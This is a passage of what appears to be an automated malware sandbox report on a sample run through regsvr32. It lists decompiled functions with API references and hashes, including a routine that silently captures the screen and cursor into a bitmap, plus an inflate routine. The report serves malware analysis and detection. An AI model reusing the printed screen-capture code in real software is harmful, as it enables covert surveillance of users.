				 *0x9af8d4 = _t13;
				if(_t13 != 0) {
					 *((intOrPtr*)(_t13 + 0xa0)) = 1;
					_t14 =  *0x9af8d4; // 0x452fc00
					E009A3C36( *((intOrPtr*)(_t14 + 0x224)));
					_t26 =  *0x9af8d4; // 0x452fc00
					_t25 = _t27;
					__eflags =  *(_t26 + 0x1898) & 0x00010000;
					if(( *(_t26 + 0x1898) & 0x00010000) == 0) {
						_t16 = E0099D889(_t26); // executed
						__eflags = _t16;
						_t17 =  *0x9af8d4; // 0x452fc00
						if(_t16 != 0) {
							__eflags =  *((intOrPtr*)(_t17 + 0x214)) - 3;
							if( *((intOrPtr*)(_t17 + 0x214)) != 3) {
								L10:
								__eflags = 0;
								return 0;
							}
							L9:
							E00993597();
							goto L10;
						}
						 *((intOrPtr*)(_t17 + 0xa4)) = 1;
						L6:
						_t20 =  *0x9af8d4; // 0x452fc00
						__eflags =  *((intOrPtr*)(_t20 + 0x214)) - 3;
						if(__eflags == 0) {
							goto L9;
						}
						E009961E8(_t25, _t26, __eflags, _t32);
						goto L10;
					}
					 *((intOrPtr*)(_t26 + 0xa4)) = 1;
					goto L6;
				}
				return _t13 + 1;
			}

0x009963a2
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APIs

GetOEMCP.KERNEL32 ref: 009963A7

Part of subcall function 0099DFC2: GetCurrentProcessId.KERNEL32 ref: 0099DFE9
Part of subcall function 0099DFC2: GetLastError.KERNEL32 ref: 0099E0E3
Part of subcall function 0099DFC2: GetSystemMetrics.USER32(00001000), ref: 0099E0F3

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: CurrentErrorLastMetricsProcessSystem
String ID:
API String ID: 1196160345-0
Opcode ID: afad13ba6d76932bfebd23d31a95ebb4652672af16c9e353c7547473f2dd5ca8
Instruction ID: f5ec034cfb88fccff0ef2b95a0c10cf74fab1097d7bcdfdafb235bdd0e1f71b8
Opcode Fuzzy Hash: afad13ba6d76932bfebd23d31a95ebb4652672af16c9e353c7547473f2dd5ca8
Instruction Fuzzy Hash: 49018F711182528FCB24EFACEA09BA673E4FF56310F19057AF1458A432C7388840D7E1

Uniqueness

Uniqueness Score: -1.00%

Function 0099CA0A Relevance: 1.5, APIs: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0099CA0A(void* __ecx) {
				signed int _v8;
				intOrPtr _t12;
				void* _t13;
				void* _t14;
				void* _t17;
				intOrPtr _t18;
				void* _t23;

				_v8 = _v8 & 0x00000000;
				_t12 =  *0x9af8d8; // 0x452fab0
				_t13 =  *((intOrPtr*)(_t12 + 0x70))(__ecx, 8,  &_v8, __ecx);
				if(_t13 != 0) {
					_t14 = E0099C9F3(); // executed
					_t23 = _t14;
					if(_t23 != 0) {
						FindCloseChangeNotification(_v8);
						_t17 = _t23;
					} else {
						if(_v8 != _t14) {
							_t18 =  *0x9af8d0; // 0x452f8c0
							 *((intOrPtr*)(_t18 + 0x30))(_v8);
						}
						_t17 = 0;
					}
					return _t17;
				} else {
					return _t13;
				}
			}

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Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 848afc9c68a2f4e78559cf6a1c8723909ef61c39f433024aad4763c15fe18921
Instruction ID: 7ad299f3a4c7fa9fa75941372c5f6f56b0042af0a42350592f57192e13b049e0
Opcode Fuzzy Hash: 848afc9c68a2f4e78559cf6a1c8723909ef61c39f433024aad4763c15fe18921
Instruction Fuzzy Hash: CCF0F471A21158EFCF10DBA8CD55A9D72A8FF08345B1040A4A502E7560D778DE00AB90

Uniqueness

Uniqueness Score: -1.00%

Function 00996438 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00996438() {
				intOrPtr _t3;

				_t3 =  *0x9af8d0; // 0x452f8c0
				 *((intOrPtr*)(_t3 + 0x2c))( *0x9af8f4, 0xffffffff);
				ExitProcess(0);
			}

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APIs

ExitProcess.KERNEL32(00000000), ref: 0099644F

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: e3085101a3c9baabe42d785a48684cfe763b28fce2862763a38fbba94c2cbd39
Instruction ID: ad164364a787b7d30bb5c02912b1750e9756a1814c690253a8b5dd60865d427f
Opcode Fuzzy Hash: e3085101a3c9baabe42d785a48684cfe763b28fce2862763a38fbba94c2cbd39
Instruction Fuzzy Hash: 8DC002712281519FC740ABA8DD59F1437E0FF0A722F1986B5F52A9A5F9CA249400AB40

Uniqueness

Uniqueness Score: -1.00%

Function 00998DC9 Relevance: 1.5, APIs: 1, Instructions: 8
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00998DC9(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x9af9b8, 8, _a4); // executed
				return _t2;
			}

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APIs

RtlAllocateHeap.NTDLL(00000008,?,?,00999793,00000100,?,0099661B), ref: 00998DD7

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f06ecd1267f5f4148016d856744a9ccb1f438cbbc5fb8cb9c79c09630a5bc556
Instruction ID: 33739c0abedf4983fd94ac50a1585cb12b91d7759698a37196cf9d430474336f
Opcode Fuzzy Hash: f06ecd1267f5f4148016d856744a9ccb1f438cbbc5fb8cb9c79c09630a5bc556
Instruction Fuzzy Hash: E1B0923A098208BBCF411B85EC09A853F29FF4A791F004020F608084708B636461ABC1

Uniqueness

Uniqueness Score: -1.00%

Function 0099DADC Relevance: 1.5, APIs: 1, Instructions: 7
threadCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0099DADC(void* __ecx) {
				signed int _t4;

				_t4 = ResumeThread( *(__ecx + 4));
				asm("sbb eax, eax");
				return  ~_t4 & 0x00000001;
			}

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APIs

ResumeThread.KERNELBASE(?,0099D947,?,?,00000001), ref: 0099DAE4

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 139c207a68e47d77130d3865257a4003f4730408928f8cca7feb87ed1590e17b
Instruction ID: 8d3b4d605e9c195432ee3c0b6520a4a2c7ec394213efaaac11377bfcb0330c94
Opcode Fuzzy Hash: 139c207a68e47d77130d3865257a4003f4730408928f8cca7feb87ed1590e17b
Instruction Fuzzy Hash: 86B092322A40019BCB005BB8DC1A9A03BE0FF56706B98C2F4A006C6461C22EC4459B80

Uniqueness

Uniqueness Score: -1.00%

Function 00998DB4 Relevance: 1.5, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00998DB4() {
				void* _t1;

				_t1 = HeapCreate(0, 0x96000, 0); // executed
				 *0x9af9b8 = _t1;
				return _t1;
			}

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APIs

HeapCreate.KERNELBASE(00000000,00096000,00000000,00996616), ref: 00998DBD

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 5310c218fbdb4435e2ddadd5d63ee04c82fbafa3c9255576b1243241a19f733c
Instruction ID: 2357291fe190894ee31ab995e03bb12305df61d57e5fef07594bcec4ffc85b5b
Opcode Fuzzy Hash: 5310c218fbdb4435e2ddadd5d63ee04c82fbafa3c9255576b1243241a19f733c
Instruction Fuzzy Hash: 95B012706AD310A6DB500B605C4AB0135106B85B42F200011B609581D0C7B01000B555

Uniqueness

Uniqueness Score: -1.00%

Function 0099DAF2 Relevance: 1.3, APIs: 1, Instructions: 50
sleepCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0099DAF2(void* __ecx, intOrPtr _a4, signed int _a8) {
				signed int _v8;
				intOrPtr _v12;
				signed int _t26;
				signed int _t28;
				signed int* _t36;
				signed int* _t39;

				_push(__ecx);
				_push(__ecx);
				_t36 = _a8;
				_t28 = _t36[1];
				if(_t28 != 0) {
					_t39 = _t36[2];
					do {
						_a8 = _a8 & 0x00000000;
						if(_t39[2] > 0) {
							_t31 = _t39[3];
							_t22 = _a4 + 0x24;
							_v12 = _a4 + 0x24;
							_v8 = _t39[3];
							while(E0099A236(_t22,  *_t31) != 0) {
								_t26 = _a8 + 1;
								_t31 = _v8 + 4;
								_a8 = _t26;
								_t22 = _v12;
								_v8 = _v8 + 4;
								if(_t26 < _t39[2]) {
									continue;
								} else {
								}
								goto L8;
							}
							 *_t36 =  *_t36 |  *_t39;
						}
						L8:
						_t39 =  &(_t39[4]);
						_t28 = _t28 - 1;
					} while (_t28 != 0);
				}
				Sleep(0xa);
				return 1;
			}

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APIs

Sleep.KERNELBASE(0000000A), ref: 0099DB5B

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: c49848dfa43f467ec181333fc60d5a812df7b63941279ac27b13c7b62db94e77
Instruction ID: 5149f6a0f386df9a8ee2f254ccf7bbfd2637b71ed49ccc6902a5e187a7829560
Opcode Fuzzy Hash: c49848dfa43f467ec181333fc60d5a812df7b63941279ac27b13c7b62db94e77
Instruction Fuzzy Hash: 83111772A05205AFEF14CFA9C4C5AA9B7F8FF49324F118469E95A9B300D774E941CB50

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00995D1E Relevance: 35.2, APIs: 18, Strings: 2, Instructions: 223
windowCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E00995D1E(int* __ecx) {
				signed int _v8;
				char _v12;
				int _v16;
				struct HWND__* _v20;
				struct HWND__* _v24;
				struct HDC__* _v28;
				void* _v32;
				int* _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				short _v82;
				short _v84;
				signed int _v88;
				signed int _v92;
				struct tagBITMAPINFO _v96;
				intOrPtr _v102;
				int _v110;
				char _v112;
				void* _v116;
				void* _v120;
				void* _v124;
				void* _v132;
				void* _v136;
				void* _v140;
				int _v156;
				signed int _v160;
				void _v164;
				int _t82;
				void* _t84;
				signed int _t92;
				void* _t99;
				char _t103;
				intOrPtr _t113;
				int* _t114;
				struct HDC__* _t120;
				signed int _t124;
				short _t137;
				struct HDC__* _t141;
				void* _t144;
				void* _t148;

				_v36 = __ecx;
				_v24 = 0;
				_t120 = 0;
				_v12 = 0;
				_t144 = 0;
				_v20 = 0;
				_t141 = GetDC(0);
				_v28 = _t141;
				if(_t141 != 0) {
					_t120 = CreateCompatibleDC(_t141);
					if(_t120 != 0) {
						_v8 = GetDeviceCaps(_t141, 8);
						_t82 = GetDeviceCaps(_t141, 0xa);
						_v16 = _t82;
						_t144 = CreateCompatibleBitmap(_t141, _v8, _t82);
						if(_t144 != 0) {
							_t84 = SelectObject(_t120, _t144);
							_v32 = _t84;
							if(_t84 != 0) {
								_t144 = SelectObject(_t120, _v32);
								if(_t144 != 0) {
									GetObjectW(_t144, 0x18,  &_v164);
									_t92 = _v160;
									_t124 = _v156;
									_v92 = _t92;
									_v84 = 1;
									_t137 = 0x20;
									_v82 = _t137;
									_v96.bmiHeader = 0x28;
									_v80 = 0;
									_v76 = 0;
									_v72 = 0;
									_v68 = 0;
									_v64 = 0;
									_v60 = 0;
									asm("cdq");
									_v88 = _t124;
									_v8 = ((_t92 << 5) + 0x1f >> 5) * _t124 << 2;
									_t99 = E00998DC9(((_t92 << 5) + 0x1f >> 5) * _t124 << 2);
									_v20 = _t99;
									if(_t99 != 0) {
										GetDIBits(_t120, _t144, 0, _v156, _t99,  &_v96, 0);
										_v16 = _v8 + 0x36;
										_t103 = E00998DC9(_v8 + 0x36);
										_v12 = _t103;
										if(_t103 != 0) {
											_v110 = _v16;
											_v112 = 0x4d42;
											_v102 = 0x36;
											E00998EA6(_t103,  &_v112, 0xe);
											E00998EA6(_v12 + 0xe,  &_v96, 0x28);
											E00998EA6(_v12 + 0x36, _v20, _v8);
											_t148 = _t148 + 0x24;
											_v8 = _v8 & 0x00000000;
											_t113 = E0099FBFB(_v12, _v16,  &_v8);
											_v24 = _t113;
											if(_t113 != 0) {
												_t114 = _v36;
												if(_t114 != 0) {
													 *_t114 = _v8;
												}
											}
										}
									}
								}
							}
						}
					}
				}
				E00998DDF( &_v20, 0);
				E00998DDF( &_v12, 0);
				if(_t120 != 0) {
					DeleteDC(_t120);
				}
				if(_t141 != 0) {
					DeleteDC(_t141);
				}
				if(_t144 != 0) {
					DeleteObject(_t144);
				}
				return _v24;
			}

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0x00995f93

APIs

GetDC.USER32(00000000), ref: 00995D3D
CreateCompatibleDC.GDI32(00000000), ref: 00995D51
GetDeviceCaps.GDI32(00000000,00000008), ref: 00995D6A
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00995D72
CreateCompatibleBitmap.GDI32(00000000,?,00000000), ref: 00995D7C
SelectObject.GDI32(00000000,00000000), ref: 00995D8E
BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 00995DB2
GetCursorInfo.USER32(?), ref: 00995DC3
CopyIcon.USER32 ref: 00995DD8
GetIconInfo.USER32(00000000,?), ref: 00995DE6
GetObjectW.GDI32(?,00000018,?), ref: 00995E04
DrawIconEx.USER32 ref: 00995E1C
SelectObject.GDI32(00000000,?), ref: 00995E29
GetObjectW.GDI32(00000000,00000018,?), ref: 00995E43
GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000028,00000000), ref: 00995EBF
DeleteDC.GDI32(00000000), ref: 00995F70
DeleteDC.GDI32(00000000), ref: 00995F7B
DeleteObject.GDI32(00000000), ref: 00995F86

Strings

6, xrefs: 00995EF2
(, xrefs: 00995E6E

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: Object$DeleteIcon$CapsCompatibleCreateDeviceInfoSelect$BitmapBitsCopyCursorDraw
String ID: ($6
API String ID: 192358524-4149066357
Opcode ID: 0d7c5e038daf02b0188c980b2174fed20b593831f902343cf459e1f8220cc6f1
Instruction ID: cdb4e6b06bd8942bc7e5e4e6c6f68bf42cd537d46f860917b6d8f1b5d74783a2
Opcode Fuzzy Hash: 0d7c5e038daf02b0188c980b2174fed20b593831f902343cf459e1f8220cc6f1
Instruction Fuzzy Hash: 35811AB1D00619ABDF21DBA9DC49BAEBBB8FF49310F154069E505F7250EB309A05DB60

Uniqueness

Uniqueness Score: -1.00%

Function 009A676F Relevance: 8.1, Strings: 6, Instructions: 577
COMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E009A676F(void* __edi) {
				signed int _t164;
				unsigned int _t172;
				unsigned int _t173;
				signed int _t174;
				signed int _t176;
				signed int _t178;
				signed int _t179;
				signed int _t182;
				signed int _t184;
				unsigned int _t185;
				int _t186;
				int _t194;
				signed char _t200;
				signed int _t207;
				signed int _t208;
				signed int _t209;
				int _t210;
				int _t222;
				signed int _t227;
				signed int _t235;
				signed int _t251;
				signed char _t252;
				unsigned int _t253;
				signed char _t254;
				signed int* _t255;
				signed int _t258;
				signed int _t259;
				signed int _t260;
				signed int _t266;
				intOrPtr _t271;
				signed char _t278;
				signed int _t279;
				char* _t280;
				signed int _t282;
				signed char _t284;
				signed int _t287;
				signed int _t291;
				int _t292;
				int _t293;
				int _t296;
				int _t298;
				int _t302;
				signed int _t305;
				signed char _t311;
				signed char _t312;
				signed char _t315;
				signed char _t316;
				signed int _t318;
				int _t319;
				int _t320;
				signed char _t322;
				int _t324;
				int _t326;
				int _t330;
				signed int _t333;
				signed char _t336;
				signed char _t337;
				signed char _t339;
				int _t341;
				signed int _t347;
				int _t349;
				intOrPtr _t350;
				intOrPtr _t351;
				unsigned int _t356;
				unsigned int _t361;
				signed int _t364;
				signed int _t365;
				intOrPtr _t367;
				void* _t368;
				intOrPtr* _t380;
				void* _t381;
				intOrPtr* _t389;
				void* _t390;
				signed int _t395;
				void* _t396;
				signed int _t397;
				void* _t403;
				void* _t405;
				intOrPtr* _t412;
				void* _t413;
				signed int _t414;
				void* _t416;
				intOrPtr* _t423;
				void* _t424;
				unsigned int _t430;
				signed int _t431;
				void* _t434;
				signed int* _t435;
				void* _t439;

				 *((intOrPtr*)(__edi + 0x56))();
				asm("pushfd");
				_t435 = _t434 - 0x40;
				asm("cld");
				_t395 = _t435[0x16];
				_t367 =  *((intOrPtr*)(_t395 + 0x1c));
				_t164 =  *_t395;
				_t435[0xb] = _t164;
				_t435[5] =  *((intOrPtr*)(_t395 + 4)) + _t164 - 0xb;
				_t271 =  *((intOrPtr*)(_t395 + 0x10));
				_t251 =  *(_t395 + 0xc);
				_t435[0xf] = _t251;
				_t435[0xa] =  ~(_t435[0x17] - _t271) + _t251;
				_t435[4] = _t271 - 0x101 + _t251;
				_t435[2] =  *(_t367 + 0x4c);
				_t435[3] =  *(_t367 + 0x50);
				 *_t435 = (1 <<  *(_t367 + 0x54)) - 1;
				_t435[1] = (1 <<  *(_t367 + 0x58)) - 1;
				_t172 =  *(_t367 + 0x28);
				_t347 =  *(_t367 + 0x34);
				_t435[0xd] = _t172;
				_t435[0xc] =  *(_t367 + 0x30);
				_t435[0xe] = _t347;
				_t430 =  *(_t367 + 0x38);
				_t252 =  *(_t367 + 0x3c);
				_t396 = _t435[0xb];
				_t278 = _t435[5];
				if(_t278 > _t396) {
					L2:
					if((_t396 & 0x00000003) != 0) {
						_t396 = _t396 + 1;
						_t278 = _t252;
						_t252 = _t252 + 8;
						_t172 = 0 << _t278;
						_t430 = _t430 | _t172;
						goto L2;
					}
					goto L4;
				} else {
					_t341 = _t278 + 0xb - _t396;
					_t172 = memset(_t396 + _t341 + _t341, 0, memcpy( &(_t435[7]), _t396, _t341) << 0);
					_t435 =  &(_t435[6]);
					_t278 = 0;
					_t396 =  &(_t435[7]);
					_t435[5] = _t396;
					L4:
					_t368 = _t435[0xf];
					while(1) {
						_t439 =  *0x9ae040 - 2;
						if(_t439 == 0) {
							break;
						}
						if(_t439 > 0) {
							do {
								if(_t252 <= 0xf) {
									asm("lodsw");
									_t322 = _t252;
									_t252 = _t252 + 0x10;
									_t430 = _t431 | 0 << _t322;
								}
								_t173 =  *(_t435[2] + ( *_t435 & _t430) * 4);
								while(1) {
									_t253 = _t252 - _t173;
									_t431 = _t430 >> _t173;
									if(_t173 == 0) {
										asm("stosb");
										goto L22;
									}
									_t356 = _t173 >> 0x10;
									_t311 = _t173;
									if((_t173 & 0x00000010) == 0) {
										if((_t173 & 0x00000040) != 0) {
											L97:
											if((_t173 & 0x00000020) == 0) {
												_t280 = "invalid literal/length code";
												_t350 = 0x1a;
											} else {
												_t280 = 0;
												_t350 = 0xb;
											}
											L101:
											_t174 = _t435[0x16];
											if(_t280 != 0) {
												 *(_t174 + 0x18) = _t280;
											}
											 *((intOrPtr*)( *((intOrPtr*)(_t174 + 0x1c)))) = _t350;
											goto L104;
										}
										_t173 =  *(_t435[2] + (((0x00000001 << _t311) - 0x00000001 & _t431) + _t356) * 4);
										continue;
									}
									_t312 = _t311 & 0x0000000f;
									if(_t312 != 0) {
										if(_t253 < _t312) {
											asm("lodsw");
											_t339 = _t253;
											_t253 = _t253 + 0x10;
											_t431 = _t431 | 0 << _t339;
											_t312 = _t339;
										}
										_t253 = _t253 - _t312;
										_t235 = (0x00000001 << _t312) - 0x00000001 & _t431;
										_t431 = _t431 >> _t312;
										_t356 = _t356 + _t235;
									}
									_t435[6] = _t356;
									if(_t253 <= 0xf) {
										asm("lodsw");
										_t337 = _t253;
										_t253 = _t253 + 0x10;
										_t431 = _t431 | 0 << _t337;
									}
									_t200 =  *(_t435[3] + (_t435[1] & _t431) * 4);
									while(1) {
										_t361 = _t200 >> 0x10;
										_t253 = _t253 - _t200;
										_t431 = _t431 >> _t200;
										_t315 = _t200;
										if((_t200 & 0x00000010) != 0) {
											break;
										}
										if((_t200 & 0x00000040) != 0) {
											L96:
											_t280 = "invalid distance code";
											_t350 = 0x1a;
											goto L101;
										}
										_t200 =  *(_t435[3] + (((0x00000001 << _t315) - 0x00000001 & _t431) + _t361) * 4);
									}
									_t316 = _t315 & 0x0000000f;
									if(_t316 == 0) {
										if(_t361 != 1 || _t435[0xa] == _t368) {
											L38:
											_t435[0xb] = _t396;
											_t207 = _t368 - _t435[0xa];
											if(_t207 < _t361) {
												_t208 = _t435[0xd];
												_t318 =  ~_t207;
												_t414 = _t435[0xe];
												if(_t208 < _t361) {
													L100:
													_t396 = _t435[0xb];
													_t280 = "invalid distance too far back";
													_t350 = 0x1a;
													goto L101;
												}
												_t319 = _t318 + _t361;
												if(_t435[0xc] != 0) {
													_t209 = _t435[0xc];
													if(_t319 <= _t209) {
														_t416 = _t414 + _t209 - _t319;
														_t210 = _t435[6];
														if(_t210 > _t319) {
															_t210 = memcpy(_t368, _t416, _t319);
															_t435 =  &(_t435[3]);
															_t368 = _t416 + _t319 + _t319;
															_t416 = _t368 - _t361;
														}
													} else {
														_t416 = _t414 + _t435[0xd] + _t209 - _t319;
														_t324 = _t319 - _t209;
														_t210 = _t435[6];
														if(_t210 > _t324) {
															_t210 = memcpy(_t368, _t416, _t324);
															_t435 =  &(_t435[3]);
															_t368 = _t416 + _t324 + _t324;
															_t416 = _t435[0xe];
															_t326 = _t435[0xc];
															if(_t210 > _t326) {
																_t210 = memcpy(_t368, _t416, _t326);
																_t435 =  &(_t435[3]);
																_t368 = _t416 + _t326 + _t326;
																_t416 = _t368 - _t361;
															}
														}
													}
												} else {
													_t416 = _t414 + _t208 - _t319;
													_t210 = _t435[6];
													if(_t210 > _t319) {
														_t210 = memcpy(_t368, _t416, _t319);
														_t435 =  &(_t435[3]);
														_t368 = _t416 + _t319 + _t319;
														_t416 = _t368 - _t361;
													}
												}
												_t320 = _t210;
												memcpy(_t368, _t416, _t320);
												_t435 =  &(_t435[3]);
												_t368 = _t416 + _t320 + _t320;
												_t396 = _t435[0xb];
												goto L22;
											}
											_t423 = _t368 - _t361;
											_t330 = _t435[6] - 3;
											 *_t368 =  *_t423;
											_t424 = _t423 + 3;
											 *((char*)(_t368 + 1)) =  *((intOrPtr*)(_t423 + 1));
											 *((char*)(_t368 + 2)) =  *((intOrPtr*)(_t423 + 2));
											memcpy(_t368 + 3, _t424, _t330);
											_t435 =  &(_t435[3]);
											_t368 = _t424 + _t330 + _t330;
											_t396 = _t435[0xb];
										} else {
											_t389 = _t368 - 1;
											_t222 =  *_t389;
											_t333 = _t435[6] - 3;
											 *(_t389 + 1) = _t222;
											 *(_t389 + 2) = _t222;
											 *(_t389 + 3) = _t222;
											_t390 = _t389 + 4;
											memset(_t390, _t222, _t333 << 0);
											_t435 =  &(_t435[3]);
											_t368 = _t390 + _t333;
										}
										goto L22;
									}
									if(_t253 < _t316) {
										asm("lodsw");
										_t336 = _t253;
										_t253 = _t253 + 0x10;
										_t431 = _t431 | 0 << _t336;
										_t316 = _t336;
									}
									_t253 = _t253 - _t316;
									_t227 = (0x00000001 << _t316) - 0x00000001 & _t431;
									_t431 = _t431 >> _t316;
									_t361 = _t361 + _t227;
									goto L38;
								}
								L22:
							} while (_t435[4] > _t368 && _t435[5] > _t396);
							L104:
							if( *0x9ae040 == 2) {
								_t253 = _t431;
							}
							_t176 = _t435[0x16];
							_t351 =  *((intOrPtr*)(_t176 + 0x1c));
							_t282 = _t253 >> 3;
							_t397 = _t396 - _t282;
							_t254 = _t253 - (_t282 << 3);
							 *(_t176 + 0xc) = _t368;
							 *(_t351 + 0x3c) = _t254;
							_t284 = _t254;
							_t255 =  &(_t435[7]);
							if(_t435[5] == _t255) {
								_t266 =  *_t176;
								_t435[5] = _t266;
								_t397 = _t397 - _t255 + _t266;
								_t435[5] = _t435[5] +  *((intOrPtr*)(_t176 + 4)) - 0xb;
							}
							 *_t176 = _t397;
							_t258 = (1 << _t284) - 1;
							if( *0x9ae040 == 2) {
								asm("psrlq mm0, mm1");
								asm("movd ebp, mm0");
								asm("emms");
							}
							 *(_t351 + 0x38) = _t431 & _t258;
							_t259 = _t435[5];
							if(_t259 <= _t397) {
								 *((intOrPtr*)(_t176 + 4)) =  ~(_t397 - _t259) + 0xb;
							} else {
								 *((intOrPtr*)(_t176 + 4)) = _t259 - _t397 + 0xb;
							}
							_t260 = _t435[4];
							if(_t260 <= _t368) {
								 *((intOrPtr*)(_t176 + 0x10)) =  ~(_t368 - _t260) + 0x101;
							} else {
								 *((intOrPtr*)(_t176 + 0x10)) = _t260 - _t368 + 0x101;
							}
							asm("popfd");
							return _t176;
						}
						_push(_t172);
						_push(_t252);
						_push(_t278);
						_push(_t347);
						asm("pushfd");
						 *_t435 =  *_t435 ^ 0x00200000;
						asm("popfd");
						asm("pushfd");
						_pop(_t364);
						_t365 = _t364 ^  *_t435;
						if(_t365 == 0) {
							L15:
							 *0x9ae040 = 3;
							L16:
							_pop(_t347);
							_pop(_t278);
							_pop(_t252);
							_pop(_t172);
							continue;
						}
						asm("cpuid");
						if(_t252 != 0x756e6547 || _t278 != 0x6c65746e || _t365 != 0x49656e69) {
							goto L15;
						} else {
							asm("cpuid");
							if(0xd != 6 || (_t365 & 0x00800000) == 0) {
								goto L15;
							} else {
								 *0x9ae040 = 2;
								goto L16;
							}
						}
					}
					asm("emms");
					asm("movd mm0, ebp");
					_t431 = _t252;
					asm("movd mm4, dword [esp]");
					asm("movq mm3, mm4");
					asm("movd mm5, dword [esp+0x4]");
					asm("movq mm2, mm5");
					asm("pxor mm1, mm1");
					_t253 = _t435[2];
					do {
						asm("psrlq mm0, mm1");
						if(_t431 <= 0x20) {
							asm("movd mm6, ebp");
							asm("movd mm7, dword [esi]");
							_t396 = _t396 + 4;
							asm("psllq mm7, mm6");
							_t431 = _t431 + 0x20;
							asm("por mm0, mm7");
						}
						asm("pand mm4, mm0");
						asm("movd eax, mm4");
						asm("movq mm4, mm3");
						_t173 =  *(_t253 + _t172 * 4);
						while(1) {
							_t279 = _t173 & 0x000000ff;
							asm("movd mm1, ecx");
							_t431 = _t431 - _t279;
							if(_t173 == 0) {
								break;
							}
							_t349 = _t173 >> 0x10;
							if((_t173 & 0x00000010) == 0) {
								if((_t173 & 0x00000040) != 0) {
									goto L97;
								}
								asm("psrlq mm0, mm1");
								asm("movd ecx, mm0");
								_t173 =  *(_t253 + ((_t279 &  *(0x9a66ec + (_t173 & 0x0000000f) * 4)) + _t349) * 4);
								continue;
							}
							_t178 = _t173 & 0x0000000f;
							if(_t178 != 0) {
								asm("psrlq mm0, mm1");
								asm("movd mm1, eax");
								asm("movd ecx, mm0");
								_t431 = _t431 - _t178;
								_t349 = _t349 + (_t279 &  *(0x9a66ec + _t178 * 4));
							}
							asm("psrlq mm0, mm1");
							if(_t431 <= 0x20) {
								asm("movd mm6, ebp");
								asm("movd mm7, dword [esi]");
								_t396 = _t396 + 4;
								asm("psllq mm7, mm6");
								_t431 = _t431 + 0x20;
								asm("por mm0, mm7");
							}
							asm("pand mm5, mm0");
							asm("movd eax, mm5");
							asm("movq mm5, mm2");
							_t179 =  *(_t435[3] + _t178 * 4);
							while(1) {
								_t287 = _t179 & 0x000000ff;
								_t253 = _t179 >> 0x10;
								_t431 = _t431 - _t287;
								asm("movd mm1, ecx");
								if((_t179 & 0x00000010) != 0) {
									break;
								}
								if((_t179 & 0x00000040) != 0) {
									goto L96;
								}
								asm("psrlq mm0, mm1");
								asm("movd ecx, mm0");
								_t179 =  *(_t435[3] + ((_t287 &  *(0x9a66ec + (_t179 & 0x0000000f) * 4)) + _t253) * 4);
							}
							_t182 = _t179 & 0x0000000f;
							if(_t182 == 0) {
								if(_t253 != 1 || _t435[0xa] == _t368) {
									L76:
									_t435[0xb] = _t396;
									_t184 = _t368 - _t435[0xa];
									if(_t184 < _t253) {
										_t185 = _t435[0xd];
										_t291 =  ~_t184;
										_t403 = _t435[0xe];
										if(_t185 < _t253) {
											goto L100;
										}
										_t292 = _t291 + _t253;
										if(_t435[0xc] != 0) {
											_t186 = _t435[0xc];
											if(_t292 <= _t186) {
												_t405 = _t403 + _t186 - _t292;
												if(_t349 > _t292) {
													_t349 = _t349 - _t292;
													memcpy(_t368, _t405, _t292);
													_t435 =  &(_t435[3]);
													_t368 = _t405 + _t292 + _t292;
													_t405 = _t368 - _t253;
												}
											} else {
												_t405 = _t403 + _t435[0xd] + _t186 - _t292;
												_t296 = _t292 - _t186;
												if(_t349 > _t296) {
													_t349 = _t349 - _t296;
													memcpy(_t368, _t405, _t296);
